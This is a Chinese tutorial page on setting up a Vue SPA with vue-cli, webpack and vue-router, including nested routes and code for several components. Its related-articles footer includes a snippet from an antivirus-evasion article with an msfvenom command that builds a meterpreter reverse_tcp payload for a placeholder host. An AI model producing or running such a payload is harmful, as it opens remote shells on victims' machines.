当前位置: 首页 > news >正文

使用vue-cli搭建SPA项目

一.SPA项目的构建

前提

nodeJS环境已经搭建完毕

node -v

npm -v

什么是SPA项目

SPA(Single Page Application)项目是一种使用单页面架构的Web应用项目。在SPA项目中,整个应用程序只有一个HTML页面,通过动态加载数据和更新DOM来实现页面的切换和展示,而不需要每次跳转页面都向服务器发送请求进行页面刷新。

传统的多页面应用(MPA)每个不同的页面都对应一个URL地址,当用户点击链接或输入不同的URL时,浏览器会向服务器发送请求,服务器返回对应的页面内容,然后浏览器进行页面的刷新和渲染。而在SPA项目中,初始时加载应用的单个HTML页面,并通过JavaScript进行动态的数据获取和页面更新,只改变页面中的局部内容,而不需要进行整个页面的刷新和重新渲染。

SPA项目的特点包括:

  1. 单页面结构:整个应用只有一个HTML页面,通过动态加载数据和更新DOM来实现页面切换和展示。

  2. 前后端分离:SPA项目通常采用前后端分离的架构,前端负责数据的获取和页面的展示,后端负责提供数据接口。

  3. 异步加载:SPA项目采用异步加载数据的方式,通过AJAX、Fetch等技术与服务器进行通信,获取数据并更新页面。

  4. 路由系统:SPA项目使用路由系统来管理URL地址和对应的页面展示,通过URL的变化实现页面的切换。

  5. 富交互性:SPA项目能够实现丰富的用户交互和动态效果,提升用户体验。

SPA项目在前端开发中越来越流行,它可以提供更好的用户体验和性能表现,适用于响应式和移动端开发。一些流行的前端框架和库,如Vue.js、React和Angular等,都提供了构建SPA项目的支持。开发者可以利用这些框架和库来快速搭建SPA项目,实现灵活和高效的Web应用。

什么是vue-cli

(Command Line Interface)是一个用于快速搭建Vue.js项目的脚手架工具。它是一个基于Node.js的命令行工具,提供了一套初始化、开发、构建和测试Vue.js项目的标准化工具链。 Vue CLI可以帮助你快速创建一个新的Vue项目,并提供了一些常用的开发工具和配置选项,例如: 1. 项目初始化:通过Vue CLI可以轻松创建一个新的Vue项目,包括必要的文件结构和配置文件。 2. 开发服务器:Vue CLI提供了一个开发服务器,可以在本地实时预览和调试你的Vue应用。 3. 内置的构建工具:Vue CLI集成了Webpack等构建工具,可以帮助你打包和优化Vue项目,生成用于生产环境的静态文件。 4. 插件系统:Vue CLI支持插件系统,你可以根据自己的需求选择安装和配置一些常用的插件,以扩展Vue项目的功能和特性。 总之,Vue CLI是一个强大的命令行工具,可以帮助你快速搭建和开发Vue.js项目,并提供了一些常用的开发工具和配置选项,以提高开发效率和项目质量。

 安装vue-cli

在cmd中分别执行以下语句:

npm install -g vue-cli

npm install webpack -g

安装 

 

 安装成功

  vue init webpack spa1                此命令用于创建SPA项目,它会在当前目录生成一个以

“spa1”命名的文件夹

 spa1即为项目名,项目名不能用中文或大写字母,然后终端会出现“一问一答”模式

 

出现以下情况只要不报红就代表建立好了 

 

把项目导入到 HBuilder X里面

 

然后在SAP1的根目录打开cmd,输入 npm run dev启动项目,最后会形成,如下图所示

 

把如图所示网址复制到网页搜索 

 

出现如图所示即可 

 

类的介绍:

build:导包用的类

 config:放配置的类

node_modules:所有的js依赖都放在这里面

src:放代码的地方

 

二.SPA项目中的路由跳转

新建目录 

 

使用HTML建立Home.vue和About.vue

 

 

 得到router对象

 

建立index.js编写
import Vue from 'vue'
import Router from 'vue-router'
import HelloWorld from '@/components/HelloWorld'
import Home from '@/components/Home'
import About from '@/components/About'Vue.use(Router)export default new Router({routes: [{path: '/',name: 'Home',component: Home},{path: '/Home',name: 'Home',component: Home},{path: '/About',name: 'About',component: About}]
})
 建立App.vue
<template><div id="app"><!-- <img src="./assets/logo.png"> --><router-link to="/Home">首页</router-link><router-link to="/About">关于</router-link><router-view/></div>
</template><script>
export default {name: 'App'
}
</script><style>
#app {font-family: 'Avenir', Helvetica, Arial, sans-serif;-webkit-font-smoothing: antialiased;-moz-osx-font-smoothing: grayscale;text-align: center;color: #2c3e50;margin-top: 60px;
}
</style>
 测试结果

 三.基于SPA项目完成嵌套路由

使用HTML建立AboutMe.vue和AboutWebsite.vue

 AboutMe.vue

<template><div>这是战长的简介</div>
</template><script>
export default {name: 'AboutMe',data () {return {msg: 'Welcome to Your Vue.js App'}}
}
</script><style>
</style>

AboutWebsite.vue

<template><div>网站的发展史</div>
</template><script>
export default {name: 'AboutWebsite',data () {return {msg: 'Welcome to Your Vue.js App'}}
}
</script><style>
</style>
 在index.js中重新编写
import Vue from 'vue'
import Router from 'vue-router'
import HelloWorld from '@/components/HelloWorld'
import Home from '@/components/Home'
import About from '@/components/About'
import AboutMe from '@/components/AboutMe'
import AboutWebsite from '@/components/AboutWebsite'Vue.use(Router)export default new Router({routes: [{path: '/',name: 'Home',component: Home},{path: '/Home',name: 'Home',component: Home},{path: '/About',name: 'About',component: About,children:[{path: '/AboutMe',name: 'AboutMe',component: AboutMe},{path: '/AboutWebsite',name: 'AboutWebsite',component: AboutWebsite}]}]
})
如图所示在App.vue中重写以下代码即可

测试结果
 

相关文章:

使用vue-cli搭建SPA项目

一.SPA项目的构建 前提 nodeJS环境已经搭建完毕 node -v npm -v 什么是SPA项目 SPA&#xff08;Single Page Application&#xff09;项目是一种使用单页面架构的Web应用项目。在SPA项目中&#xff0c;整个应用程序只有一个HTML页面&#xff0c;通过动态加载数据和更新DOM来实…...

PLC串口通讯和通讯接口知识汇总

在使用PLC的时候会接触到很多的通讯协议以及通讯接口&#xff0c;最基本的PLC串口通讯和基本的通讯接口你都了解吗&#xff1f; 一、什么是串口通讯&#xff1f; 串口是一种接口标准&#xff0c;是计算机上一种非常通用设备通信的协议。它规定了接口的电气标准&#xff0c;没…...

Vue基础入门---详细简介

一&#xff0c;对Vue的概念 1.1 什么是Vue &#xff1f; 一种流行的JavaScript前端框架&#xff0c;用于构建交互式的Web应用程序。它以简洁、灵活和高效的特性而受到广泛欢迎。Vue采用了一种响应式的数据绑定机制&#xff0c;使得数据的变化能够自动更新相关的DOM元素&#x…...

Qt重写QTreeWidget实现拖拽

介绍 此文章记录QTreeWidget的重写进度&#xff0c;暂时停滞使用&#xff0c;重写了QTreeWidget的拖拽功能&#xff0c;和绘制功能&#xff0c;自定义了数据结构&#xff0c;增加复制&#xff0c;粘贴&#xff0c;删除&#xff0c;准备实现动态刷新数据支持千万数据动态刷新&a…...

【Spring Boot】拦截器学习笔记

一、普通拦截器 1&#xff0c;新建类MyWebConfig实现WebMvcConfigurer&#xff0c;实现addInterceptors方法 Overridepublic void addInterceptors(InterceptorRegistry registry) {registry// 不拦截哪些请求.excludePathPatterns("/login")// 拦截哪些请求.addPat…...

云可观测性:提升云环境中应用程序可靠性

随着云计算的兴起和广泛应用&#xff0c;越来越多的企业将其应用程序和服务迁移到云环境中。在这个高度动态的环境中&#xff0c;确保应用程序的可靠性和可管理性成为了一个迫切的需求。云可观测性作为一种解决方案&#xff0c;针对这一需求提供了有效的方法和工具。本文将介绍…...

免杀对抗-java语言-shellcode免杀-源码修改+打包exe

JAVA-ShellCode免杀-源码修改&打包EXE Shellcode-生成/上线 1.msf生成shellcode 命令&#xff1a;msfvenom -p java/meterpreter/reverse_tcp LHOSTx.x.x.x LPORTxxxx -f jar -o msf.jar 2.msf设置监听 3.执行msf生成的shellcode jar包&#xff0c;成功上线 命令&#xff1…...

抖音、知乎、小红书的流量算法

目前我国网民规模已超过10亿&#xff0c;在这互联网时代&#xff0c;更是流量为王。各个平台里的每个视频、每张图片&#xff0c;背后都有着算法的身影&#xff0c;支配着所有人的流量。作为内容创作者及运营者来说&#xff0c;除了制作高质量的内容以外&#xff0c;也需要掌握…...

c++ 纯虚函数、抽象类

一、 纯虚函数 抽象类 只要有一个纯虚函数&#xff0c;这个类称为抽象类 抽象类的特点 1、无法实例化 2、抽象类的子类&#xff0c;必须要重写父类中的纯虚函数&#xff0c;否者也属于抽象类 例子一 #include <iostream> #include <string.h> using namespa…...

echarts另外存为图片

今天同事画了个Echarts,我看了下居然有下载功能&#xff01;&#xff01;&#xff01;&#xff01;&#xff08;之前一直不知道&#xff09; 这是原图&#xff0c;右上角有个下载功能&#xff0c; 下载后是这样的 貌似是没有了y轴的参数和x轴的参数&#xff0c;估计是可以配置的…...

Mybatis返回自动递增主键值,通过实体

如果你在数据库中使用了自动递增的主键&#xff08;通常是整数类型&#xff09;&#xff0c;你可以使用 MyBatis 来返回插入记录后生成的自动递增的 ID。这里是一个示例&#xff1a; 首先&#xff0c;在你的 SQL 映射文件中&#xff0c;使用 <insert> 元素来执行插入操作…...

如何在 Excel 中求平方根

需要在 Excel 中求一个数字的平方根吗&#xff1f;使用几个内置的 Excel 函数和公式可以轻松计算平方根。在本分步指南中&#xff0c;您将学习在 Excel 中计算平方根的 5 种不同方法&#xff0c;包括使用 SQRT 函数、POWER 函数、指数公式、VBA 代码和 Power Query。跟随教程&a…...

苹果手机无法正常使用小程序和APP

小程序、APP 已使用了几年&#xff0c;突然大量反馈&#xff1a;苹果手机无法正常使用。但不是全部&#xff0c;只是部分手机。 因为同事苹果手机都能用&#xff0c;所以无法准确判断具体原因。 后来同事苹果手机也无法使用了&#xff0c;显示&#xff1a; 网上搜索结果&…...

【Axure教程】用中继器制作双坐标柱状折线图

双坐标柱状折线图常用于同时展示两组数据的图表类型&#xff0c;每组数据都有自己的纵坐标轴&#xff08;Y轴&#xff09;。一组数据通常用柱状图表示&#xff0c;而另一组数据则用折线图表示。这种图表类型有助于比较两组数据之间的关系和趋势。 那今天作者就教大家&#xff…...

C 风格文件输入/输出---错误处理---(std::clearerr,std::feof,std::ferror,std::perror)

C 标准库的 C I/O 子集实现 C 风格流输入/输出操作。 <cstdio> 头文件提供通用文件支持并提供有窄和多字节字符输入/输出能力的函数&#xff0c;而 <cwchar>头文件提供有宽字符输入/输出能力的函数。 错误处理 清除错误 std::clearerr void clearerr( std::FILE…...

mysql 主从复制 mysql版本5.7.35

文章目录 1.注意要点2.环境3.MySQL 主从配置的步骤&#xff1a;主从库新增DB主服务配置my.cnf从服务配置my.cnf主服务器创建复制用户从服务器执行复制 外传 MySQL 主从复制&#xff08;Master-Slave Replication&#xff09;是一个常用的高可用性和可扩展性解决方案。通过主从复…...

iOS“超级签名”绕过App Store作弊解决方案

一直以来&#xff0c;iOS端游戏作弊问题都是游戏行业的一大痛点。在当下游戏多端互通的潮流下&#xff0c;游戏作为一个整体&#xff0c;无论哪一端出现安全问题&#xff0c;都会造成更加严重的影响。因此&#xff0c;iOS端游戏安全保护也同样十分重要。 iOS独特的闭源生态&am…...

I2C子系统、读取温湿度的逻辑及代码

一、IIC子系统 两根线&#xff1a; scl:时钟线 sda:数据线 iic有4种信号&#xff1a; 起始信号&#xff08;start&#xff09;:scl是高电平&#xff0c;sda下降沿 终止信号&#xff08;stop&#xff09;:scl高电平&#xff0c;sda上升沿 应答信号&#xf…...

数据结构——排序

排序算法 前言一、认识排序排序的概念常见的排序算法排序实现的接口 二、常见排序算法的实现插入排序直接插入排序希尔排序 选择排序直接选择排序堆排序 交换排序冒泡排序 三、各个排序的效率比较四、完整代码演示&#xff1a;shell_insert.hshell_insert.ctest.c 总结 前言 来…...

资深java面试题及答案整理

编写 Java 程序时, 如何在 Java 中创建死锁并修复它&#xff1f; 经典但核心Java面试问题之一。 如果你没有参与过多线程并发 Java 应用程序的编码&#xff0c;你可能会失败。 如何避免 Java 线程死锁&#xff1f; 如何避免 Java 中的死锁&#xff1f;是 Java 面试的热门问题之…...

buuctf-[网鼎杯 2020 朱雀组]phpweb

1.打开网站&#xff0c;吓我一跳 2.查看源代码&#xff0c;主要看到timezone&#xff0c;然后这个页面是五秒就会刷新一次 一开始去搜了这个&#xff0c;但是没什么用 3.使用bp抓包 会发现有两个参数&#xff0c;应该是用func来执行p 4.修改func和p file_get_contents&#…...

SpringBoot实战(二十四)集成 LoadBalancer

目录 一、简介1.定义2.取代 Ribbon3.主要特点与功能4.LoadBalancer 和 OpenFeign 的关系 二、使用场景一&#xff1a;Eureka LoadBalancer服务A&#xff1a;loadbalancer-consumer 消费者1.Maven依赖2.application.yml配置3.RestTemplateConfig.java4.DemoController.java 服务…...

文件挂载nas挂载

准备资源 nas服务器&#xff1a; 192.168.1.2 分配的nas卷名&#xff1a; mynasvolumename 在本地机器挂载nas卷 mkdir -p /mnt/localmountdir 执行挂载 mount -t nfs 192.168.1.2:mynasvolumename/ /mnt/localmountdir 本地进入nas目录 cd /mnt/localmountdir 可以…...

电影格式怎么转换mp4?电影格式转换教程

电影格式怎么转换mp4&#xff1f;平时喜欢看电影的小伙伴都知道&#xff0c;平时我们下载到的电影文件格式可谓是五花八门&#xff0c;如Mp4、Flv、AVI、WMV、MKV、MOV等。然而&#xff0c;相较于其他常用格式&#xff0c;MP4是一种使用最为广泛的视频格式&#xff0c;并且文件…...

HarmonyOS之 组件的使用

一 容器 1.1 容器分类 Column表示沿垂直方向布局的容器。Row表示沿水平方向布局的容器。 1.2 主轴和交叉轴 主轴&#xff1a;在Column容器中的子组件是按照从上到下的垂直方向布局的&#xff0c;其主轴的方向是垂直方向&#xff1b;在Row容器中的组件是按照从左到右的水平方向…...

IAM:身份验证与授权

身份验证和授权可能听起来相似&#xff0c;但在核心功能方面它们是不同的。身份验证和授权是在用户尝试访问其资源时执行的安全过程。身份验证和授权在防止网络安全漏洞和加强组织的安全系统方面发挥着至关重要的作用。 验证&#xff1a;验证用户的身份 - 用户是谁&#xff1f…...

Linux——vi编辑器

目录 一、基本简介 二、命令模式下的常用按键 1、光标跳转按键 2、复制、粘贴、删除 三、编辑模式 四、末行模式 1、查找关键字并替换 2、保存退出 3、其他操作 五、模式切换 一、基本简介 1、最早可追随到1991年&#xff0c;全称为“Vi IMproved” 2、模式 ——命…...

【Linux学习笔记】权限

1. 普通用户和root用户权限之间的切换2. 权限的三个w2.1. 什么是权限&#xff08;what&#xff09;2.1.1. 用户角色2.1.2. 文件属性 2.2. 怎么操作权限呢&#xff1f;&#xff08;how&#xff09;2.2.1. ugo-rwx方案2.2.2. 八进制方案2.2.3. 文件权限的初始模样2.2.4. 进入一个…...

Aspose转pdf乱码问题

一、问题描述 ​ 在centos服务器使用aspose.word转换word文件为pdf的时候显示中文乱码(如图)&#xff0c;但是在win服务器上使用可以正常转换 二、问题原因 由于linux服务器缺少对应的字库导致文件转换出现乱码的 三、解决方式 1.将window中字体(c:\windows\fonts)放到linux…...

table中的td内部的元素不能与td等高的问题

解决该问题的办法: td标签内部的元素使用table布局&#xff0c;但是需要注意的是td必须设置高度&#xff0c;高度为任意值都可以&#xff0c;虽然设置了高度&#xff0c;但是td依然会被内部内容的高度撑开 <template><table><tr><td><div class&q…...

用新华做网站名是否侵权/手机app免费制作平台

删除数据库表中满足某些条件的行&#xff0c;可以使用以下 SQL 语句&#xff1a; DELETE FROM 表名 WHERE 条件;例如&#xff0c;要删除名为 "users" 的表中年龄大于 30 岁的所有行&#xff0c;可以使用以下语句&#xff1a; DELETE FROM users WHERE age > 30;注…...

上海做网站好的公司/淄博搜索引擎优化

归并排序&#xff08;Merge Sort&#xff09;是一种基于分治思想的排序算法&#xff0c;它将待排序数组分成两个子数组&#xff0c;然后对这两个子数组分别进行排序&#xff0c;最后将两个已排序的子数组合并成一个有序数组。归并排序是一种稳定的排序算法&#xff0c;具体体现…...

tp框架做的网站/网络宣传策划方案

7-1 币值转换 &#xff08;20 分&#xff09; 输入一个整数&#xff08;位数不超过9位&#xff09;代表一个人民币值&#xff08;单位为元&#xff09;&#xff0c;请转换成财务要求的大写中文格式。如23108元&#xff0c;转换后变成“贰万叁仟壹百零捌”元。为了简化输出&…...

潍坊网站开发培训/网络营销策划书范文模板

一直以来都奢想拥有一款全能好用的Markdown编辑器&#xff0c;直到遇到了Atom。废话不多说&#xff0c;直接开搞&#xff01; 1. 安装Atom 下载安装Atom&#xff1a;https://atom.io/ 2. 增强预览(markdown-preview-plus) Atom自带的Markdown预览插件markdown-preview功能比较简…...

网站建设费用会计分录/杭州seo全网营销

&#xff11;&#xff0e;客户会话状态 &#xff08;Client Session State&#xff09; 1.运行机制 2.使用时机 2.服务器会话状态 &#xff08;Server Session State&#xff09; 1.运行机制 2.使用时机 3.数据库会话状态 &#xff08;Database Session State&#xff09; 1.运…...

福州移动网站建设/江北seo

一&#xff1a;认识POIApache POI是一个开源的利用Java读写Excel、WORD等微软OLE2组件文档的项目。最新的3.5版本有很多改进&#xff0c;加入了对采用OOXML格式的Office 2007支持&#xff0c;如xlsx、docx、pptx文档。POI主页&#xff1a;poi.apache.org/二&#xff1a;POI3.5相…...